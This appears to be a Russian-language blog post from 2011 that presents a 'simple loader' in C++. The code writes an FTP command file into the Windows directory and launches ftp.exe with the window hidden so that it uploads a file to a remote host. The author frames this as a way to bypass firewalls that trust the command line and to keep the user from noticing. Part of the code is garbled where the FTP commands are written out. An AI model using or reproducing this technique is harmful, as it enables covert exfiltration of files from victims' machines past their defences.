четверг, 22 сентября 2011 г.

Простой loader на С++

Заливать файл на сервер будем по ftp при помощи стандартной виндовой утилы ftp.exe. Процесс автоматизируем небольшой прогой на С++. Одно из преимуществ этого метода – обход криво настроенных фаерволов, так как у большинства незадачливых владельцев «огнестенок» командная строка (через которую, собственно, и работает майкрософтовский фтп-клиент) находится в списке доверенных приложений. Вооружившись компилятором, приступим к решению.



1. При запуске ftp.exe программе необходимо передать два параметра: путь до файла с командами и имя (либо IP) хоста. Допустим, наиболее безопасным местом для создания файла будет виндовая директория. Забросим в переменную com_file путь вида X:\WINDOWS\ftp_commands:

char com_file[256];

char m_dir[256];

GetWindowsDirectory(m_dir,sizeof(m_dir));

strcpy(com_file, m_dir);

strcat(com_file,"\\ftp_commands");

Здесь все предельно понятно, стоит лишь обратить внимание на двойной бэкслеш (\\) вместо одинарного. Его нужно использовать везде, где необходимо показать вложенность директорий.

Завершим создание переменной с параметрами, используя com_file:

char param[128];

strcpy(param, "-s:");

strcat(param, com_file);

strcat(param, " ");

strcat(param, "my-host.com");

В результате в переменной param получим:

"-s:X:\WINDOWS\ftp_commands my-host.com".

2. Начинаем общение с сервером. Путь до файла с командами определили, а с самим файлом не поработали. Исправим это: запишем в него последовательность команд, передаваемых ftp-шнику.

ofstream of(com_file);

of<<"mylogin"<» меняем директорию (если требуется). Командой send (send <локальный_файл> <файл_на_сервере>) будет послан экзешник с редактором реестра. Ну а строчкой «quit» попрощаемся с фтп-шником сервера.

3. Воспользуемся функцией ShellExecute() для запуска ftp.exe. Третьим параметром покажем намерение запустить виндовый фтп-клиент, а четвертым передадим подготовленную строку с параметрами для него. Чтобы не беспокоить пользователя, укажем SW_HIDE и консольный запуск ftp.exe пройдет незаметно. Набираем:

ShellExecute(0 ,NULL, "ftp", param, NULL, SW_HIDE);

Готово. Компилируем, запускаем, проверяем ftp-сервер.

Комментариев нет:

Отправить комментарий